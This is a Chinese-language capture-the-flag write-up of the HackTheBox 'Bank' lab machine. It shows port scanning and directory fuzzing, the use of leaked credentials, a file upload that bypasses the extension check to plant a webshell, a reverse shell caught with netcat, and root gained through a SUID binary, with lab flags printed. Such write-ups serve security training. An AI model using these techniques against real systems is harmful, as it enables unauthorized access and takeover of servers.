HTB:Bank[WriteUP]
目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
提取出靶机TCP开放端口
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用curl对域名进行访问
使用浏览器访问该域名
边界突破
使用ffuf对该域名进行路径FUZZ
访问balance-transfer接口可见大量.acc文件
点击右上角的Size按钮可对文件大小进行升序排列
通过上述凭证登录后,在左侧可见Support栏目
使用Yakit构造请求包发送Webshell
本地侧nc开始监听
权限提升
查看靶机系统内存在的用户
查找当前系统内的SUID文件
连接至HTB服务器并启动靶机
靶机IP:10.10.10.29
分配IP:10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.10.29 -r 1-65535 --ulimit 5000 | tee res
提取出靶机TCP开放端口
ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ','
22,53,80
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
22,53,80
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.10.29
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.29
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.10.29
- 将靶机IP与bank.htb域名进行绑定
sed -i '1i 10.10.10.29 bank.htb' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.10.29 bank.htb' /etc/hosts┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head /etc/hosts -n 1
10.10.10.29 bank.htb
使用curl对域名进行访问
curl -I http://bank.htb
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://bank.htb
HTTP/1.1 302 Found
Date: Tue, 07 Jan 2025 09:12:29 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Set-Cookie: HTBBankAuth=1ukl795lkhp59fqphdlk8s7gb0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Content-Type: text/html
使用浏览器访问该域名
边界突破
使用ffuf对该域名进行路径FUZZ
ffuf -u http://bank.htb/FUZZ -w ../dictionary/Entire-Dir.txt -t 200
访问balance-transfer接口可见大量.acc文件
点击右上角的Size按钮可对文件大小进行升序排列
- 点击查看这个与其他.acc文件大小不一样的文件
- 得到凭证
名称:Christos Christopoulos
邮箱:chris@bank.htb
密码:!##HTBB4nkP4ssw0rd!##
通过上述凭证登录后,在左侧可见Support栏目
- 点击后可见该页支持文件上传
- 键盘按Ctrl+U查看该页原码
- 由该页注释可知,.htb文件可充当.php文件进行解析
使用Yakit构造请求包发送Webshell
- 在My Tickets栏目中可见文件成功上传
本地侧nc开始监听
rlwrap -cAr nc -lvnp 1425
- 直接点击Click Here访问Webshell文件,本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.10.29] 45632
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
13:09:56 up 3:20, 0 users, load average: 0.37, 0.09, 0.03
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
- 提升TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
权限提升
查看靶机系统内存在的用户
cat /etc/passwd
- 当前用户权限可以直接查看chris下的flag文件
www-data@bank:/$ find / -name 'user.txt' -type f 2>/dev/null
find / -name 'user.txt' -type f 2>/dev/null
/home/chris/user.txt
www-data@bank:/$ cat /home/chris/user.txt
cat /home/chris/user.txt
8fc44025442af344df63cad1c33e35c8
查找当前系统内的SUID文件
find / -perm -4000 -type f -ls 2>/dev/null
- 直接运行/var/htb/bin/emergency文件即可提权至root用户
www-data@bank:/$ /var/htb/bin/emergency
/var/htb/bin/emergency
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
# whoami
whoami
root
- 在/root目录下找到root.txt文件
# find / -name 'root.txt' -type f
find / -name 'root.txt' -type f
/root/root.txt
# cat /root/root.txt
cat /root/root.txt
38e39916caa580e4ffaee0a6379444c9
相关文章:

HTB:Bank[WriteUP]
目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 提取出靶机TCP开放端口 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 使用curl对域名进行访问…...

如何用数字万用表测量是否漏电?
测量电气设备或线路是否漏电是确保安全的重要步骤。台式数字万用表(DMM)是一种常见的测试工具,它可以帮助我们检测和确认是否存在漏电现象。本文将详细介绍如何使用台式数字万用表进行漏电检测,包括准备工作、具体操作步骤和安全注…...

黑马跟学.苍穹外卖.Day04
黑马跟学.苍穹外卖.Day04 苍穹外卖-day04课程内容1. Redis入门1.1 Redis简介1.2 Redis下载与安装1.2.1 Redis下载1.2.2 Redis安装 1.3 Redis服务启动与停止1.3.1 服务启动命令1.3.2 客户端连接命令1.3.3 修改Redis配置文件1.3.4 Redis客户端图形工具 2. Redis数据类型2.1 五种常…...

uniapp使用scss mixin抽离css常用的公共样式
1、编写通用scss样式文件 // 通用 Flex Mixin mixin flex($direction: row, $justify: flex-start, $align: stretch, $wrap: nowrap) {display: flex;flex-direction: $direction;justify-content: $justify;align-items: $align;flex-wrap: $wrap; }// 水平居中 mixin flex-…...
用Python解决“A. Accounting”问题:完整教程与代码实现
引言 在这篇文章中,我们将深入探讨编程竞赛中的一道经典问题“A. Accounting”,并用Python实现一个高效的解决方案。本文将涵盖题目分析、算法设计和Python代码实现,以及代码的完整讲解和优化方法。 一、问题描述 在一个遥远的国家里&…...

FreeU: Free Lunch in Diffusion U-Net 笔记
FreeU: Free Lunch in Diffusion U-Net 摘要 作者研究了 U-Net 架构对去噪过程的关键贡献,并发现其主干部分主要在去噪方面发挥作用,而其跳跃连接主要是向解码器模块引入高频特征,这使得网络忽略了主干部分的语义信息。基于这一发现&#…...

腾讯云AI代码助手编程挑战赛-古诗词学习
一、作品介绍 在科技与文化深度交融的当下,“腾讯云 AI 代码助手编程挑战赛 - 每日古诗词” 宛如一颗璀璨的新星,闪耀登场。它绝非一场普通的赛事,而是一座连接编程智慧与古典诗词韵味的桥梁。 这项挑战赛以独特的视角,将每日古…...

链式二叉树,递归的暴力美学
目录 1.链式二叉树概念 2.链式二叉树的实现 3.先序遍历 4.中序遍历 5.后序遍历 6.求链式二叉树的结点个数 7.链式二叉树的叶子结点个数 8.求二叉树的k层的结点个数 9.链式二叉树求深度 10.求值为x的结点 11.链式二叉树的销毁 12.二叉树的层序遍历 13.判断二叉树是否…...
计算机网络之---数据传输与比特流
数据传输的概念 数据传输是指将数据从一个设备传输到另一个设备的过程。传输过程涉及将高层协议中的数据(如包、帧等)转化为比特流,在物理介质上传输。 比特流的概念 比特流是数据传输中最基本的单位,它是由0和1组成的连续比特…...

基于单片机的数字电能表(论文+源码)
1. 系统整体方案设计 数字电能表系统设计解决了传统的用电设备的应用问题,能够让用户通过手机等移动设备获取电器的实时工作状态及数据信息,能够帮助找出高能耗的电器,及时停用或替换高能耗用电设备。在功能上需要实现高压交流电压的测量&am…...

打造三甲医院人工智能矩阵新引擎(五):精确分割模型篇 Medical SAM 2
一、引言 1.1 研究背景与意义 在当今的医疗领域,医学图像分割技术起着举足轻重的作用。它能够精准地从医学图像中分离出特定的器官、组织或病变区域,为临床诊断、手术规划、疾病监测等诸多环节提供不可或缺的支持。例如,在肿瘤疾病的诊疗过程中,通过对 CT、MRI 等影像的精…...

python无需验证码免登录12306抢票 --selenium(2)
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 [TOC](python无需验证码免登录12306抢票 --selenium(2)) 前言 提示:这里可以添加本文要记录的大概内容: 就在刚刚我抢的票:2025年1月8日…...
第1章 Web系统概述 教案
谢从华,高蕴梅 著.Web前端设计基础入门——HTML5、CSS3、JavaScript(微课视频版),2023, 清华大学出版社. ISBN:9787302641261. 1、教学目标 知识目标 学生能够准确阐述 Internet 的含义、发展历程、提供的网络服务,以…...

AI是IT行业的变革力量,还是“职业终结者”?
前言:哈喽,大家好,今天给大家分享一篇文章!并提供具体代码帮助大家深入理解,彻底掌握!创作不易,如果能帮助到大家或者给大家一些灵感和启发,欢迎收藏关注哦 💕 目录 AI是…...
[git]ubuntu git 开启Verbose Mode模式
Verbose Mode 默认情况下,git 在终端屏幕上报告最少的信息。但是,如果您遇到任何类型的问题,启用Verbose Mode会很有帮助 开启Verbose Mode export GIT_CURL_VERBOSE1 关闭Verbose Mode export GIT_CURL_VERBOSE0 还可以通过简单地在命令…...
解读若依框架中的 @Xss 注解
文章目录 1. 背景与问题定义什么是 XSS 攻击?XSS 的常见类型传统解决方案的局限性 2. Xss 注解详解Xss 注解源码解析注解核心要素 XssValidator 实现解析核心逻辑 3. 应用场景场景一:表单输入校验示例代码 场景二:API 接口参数校验示例代码 4…...
【JVM-2】JVM图形化监控工具大全:从入门到精通
在Java应用的开发和运维过程中,JVM(Java虚拟机)的监控和调优是至关重要的。相比于命令行工具,图形化监控工具提供了更直观的界面和更强大的功能,适合不熟悉命令行的用户。本文将详细介绍常用的JVM图形化监控工具及其使…...

基于华为ENSP的OSPF数据报文保姆级别详解(3)
本篇博文摘要 🌟 基于华为ensp之OSPF数据报文——头部信息、Hello包、DR/BDR选举、DBD包等保姆级别具体详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法 引言 📘 在这个快速发展的技术时代,与时俱进是每个IT人的…...

【Java】-- 利用 jar 命令将配置文件添加到 jar 中
目录 1、准备 2、目标 3、步骤 3.1、安装 jdk 3.2、添加配置文件 3.3、校验 1、准备 java 环境hadoop-core-1.2.1.jar 和 core-site.xml 2、目标 将 core-site.xml 添加到 hadoop-core-1.2.1.jar 中。 3、步骤 3.1、安装 jdk 3.2、添加配置文件 jar -cvf hadoop-core-…...

【HarmonyOS NEXT】鸿蒙应用点9图的处理(draw9patch)
【HarmonyOS NEXT】鸿蒙应用点9图的处理(draw9patch) 一、前言: 首先在鸿蒙中是不支持安卓 .9图的图片直接使用。只有类似拉伸的处理方案,鸿蒙提供的Image组件有与点九图相同功能的API设置。 可以通过设置resizable属性来设置R…...
基于算法竞赛的c++编程(28)结构体的进阶应用
结构体的嵌套与复杂数据组织 在C中,结构体可以嵌套使用,形成更复杂的数据结构。例如,可以通过嵌套结构体描述多层级数据关系: struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...
golang循环变量捕获问题
在 Go 语言中,当在循环中启动协程(goroutine)时,如果在协程闭包中直接引用循环变量,可能会遇到一个常见的陷阱 - 循环变量捕获问题。让我详细解释一下: 问题背景 看这个代码片段: fo…...

Zustand 状态管理库:极简而强大的解决方案
Zustand 是一个轻量级、快速和可扩展的状态管理库,特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...
【Java学习笔记】Arrays类
Arrays 类 1. 导入包:import java.util.Arrays 2. 常用方法一览表 方法描述Arrays.toString()返回数组的字符串形式Arrays.sort()排序(自然排序和定制排序)Arrays.binarySearch()通过二分搜索法进行查找(前提:数组是…...

【入坑系列】TiDB 强制索引在不同库下不生效问题
文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...

P3 QT项目----记事本(3.8)
3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...
【决胜公务员考试】求职OMG——见面课测验1
2025最新版!!!6.8截至答题,大家注意呀! 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:( B ) A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...

(转)什么是DockerCompose?它有什么作用?
一、什么是DockerCompose? DockerCompose可以基于Compose文件帮我们快速的部署分布式应用,而无需手动一个个创建和运行容器。 Compose文件是一个文本文件,通过指令定义集群中的每个容器如何运行。 DockerCompose就是把DockerFile转换成指令去运行。 …...

Linux --进程控制
本文从以下五个方面来初步认识进程控制: 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程,创建出来的进程就是子进程,原来的进程为父进程。…...
力扣-35.搜索插入位置
题目描述 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...